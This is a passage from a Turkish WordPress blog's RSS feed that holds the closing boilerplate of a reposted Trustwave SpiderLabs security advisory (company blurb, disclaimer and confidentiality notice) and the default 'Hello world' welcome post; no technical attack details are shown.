critical information assets. Trustwave is headquartered in Chicago with<br />
offices throughout North America, South America, Europe, Africa, China and<br />
Australia. For more information, visit https://www.trustwave.com</p>
<p>About Trustwave&#8217;s SpiderLabs:<br />
SpiderLabs(R) is the advanced security team at Trustwave focused on<br />
application security, incident response, penetration testing, physical<br />
security and security research. The team has performed over a thousand<br />
incident investigations, thousands of penetration tests and hundreds of<br />
application security tests globally. In addition, the SpiderLabs Research<br />
team provides intelligence through bleeding-edge research and proof of<br />
concept tool development to enhance Trustwave&#8217;s products and services.</p>
<p>https://www.trustwave.com/spiderlabs</p>
<p>Disclaimer:<br />
The information provided in this advisory is provided &#8220;as is&#8221; without<br />
warranty of any kind. Trustwave disclaims all warranties, either express or<br />
implied, including the warranties of merchantability and fitness for a<br />
particular purpose. In no event shall Trustwave or its suppliers be liable<br />
for any damages whatsoever including direct, indirect, incidental,<br />
consequential, loss of business profits or special damages, even if<br />
Trustwave or its suppliers have been advised of the possibility of such<br />
damages. Some states do not allow the exclusion or limitation of liability<br />
for consequential or incidental damages so the foregoing limitation may not<br />
apply.</p>
<p>This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sanalteam.com/guvenlik-aciklari/wordpress-3-3-1-coklu-guvenlik-aciklari.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Merhaba dünya!</title>
		<link>http://www.sanalteam.com/genel/merhaba-dunya.html</link>
		<comments>http://www.sanalteam.com/genel/merhaba-dunya.html#comments</comments>
		<pubDate>Wed, 25 Jan 2012 22:07:22 +0000</pubDate>
		<dc:creator>bayramozdem</dc:creator>
				<category><![CDATA[Genel]]></category>

		<guid isPermaLink="false">http://www.sanalteam.com/?p=1</guid>
		<description><![CDATA[WordPress&#8217;e hoş geldiniz. Bu sizin ilk yazınız. Bu yazıyı düzenleyin ya da silin. Sonra blog dünyasına adım atın!]]></description>
			<content:encoded><![CDATA[<p>WordPress&#8217;e hoş geldiniz. Bu sizin ilk yazınız. Bu yazıyı düzenleyin ya da silin. Sonra blog dünyasına adım atın!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sanalteam.com/genel/merhaba-dunya.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

